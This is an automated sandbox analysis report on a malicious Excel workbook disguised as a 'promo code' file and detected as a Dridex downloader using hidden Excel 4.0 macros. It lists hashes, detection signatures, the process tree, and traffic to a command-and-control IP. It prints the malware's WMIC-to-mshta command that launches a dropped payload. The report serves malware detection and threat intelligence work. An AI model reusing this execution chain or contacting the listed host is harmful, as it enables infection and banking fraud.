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Windows Analysis Report promo code83874071.xlsb

Overview

General Information

Sample Name:	promo code83874071.xlsb
Analysis ID:	528041
MD5:	b6c09b88eeb411e648f688e7ca6a1ca9
SHA1:	da6a58fbb01118bf77842f75cb217c3cf33ded2f
SHA256:	cb53bf4394e7f77534ca8bfa1039fc76c50a54be4dce411926dbb594a1a55c52
Tags:	xlsbxlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Dridex Downloader

Multi AV Scanner detection for submitted file

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Queries the volume information (name, serial number etc) of a device

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Yara detected Xls With Macro 4.0

Detected TCP or UDP traffic on non-standard ports

Sigma detected: Suspicious WMI Execution

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6336 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

WMIC.exe (PID: 3876 cmdline: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf" MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mshta.exe (PID: 5380 cmdline: mshta C:\ProgramData\MqscKrfE.rtf MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\MqscKrfE.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6336, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf", ProcessId: 3876

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6336, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf", ProcessId: 3876

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: promo code83874071.xlsb

Virustotal: Detection: 10%

Perma Link

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wbem\WMIC.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Source: global traffic

TCP traffic: 192.168.2.3:49777 -> 136.144.181.174:8080

Source: global traffic

TCP traffic: 192.168.2.3:49777 -> 136.144.181.174:8080

Source: Joe Sandbox View

IP Address: 136.144.181.174 136.144.181.174

Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174

Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.aadrm.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.office.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://augloop.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cdn.entity.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cortana.ai
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://cr.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://directory.services.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://graph.windows.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://login.windows.local
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://management.azure.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://management.azure.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://osi.office.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office365.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://roaming.edog.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://tasks.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\MqscKrfE.rtf, type: DROPPED

System Summary:

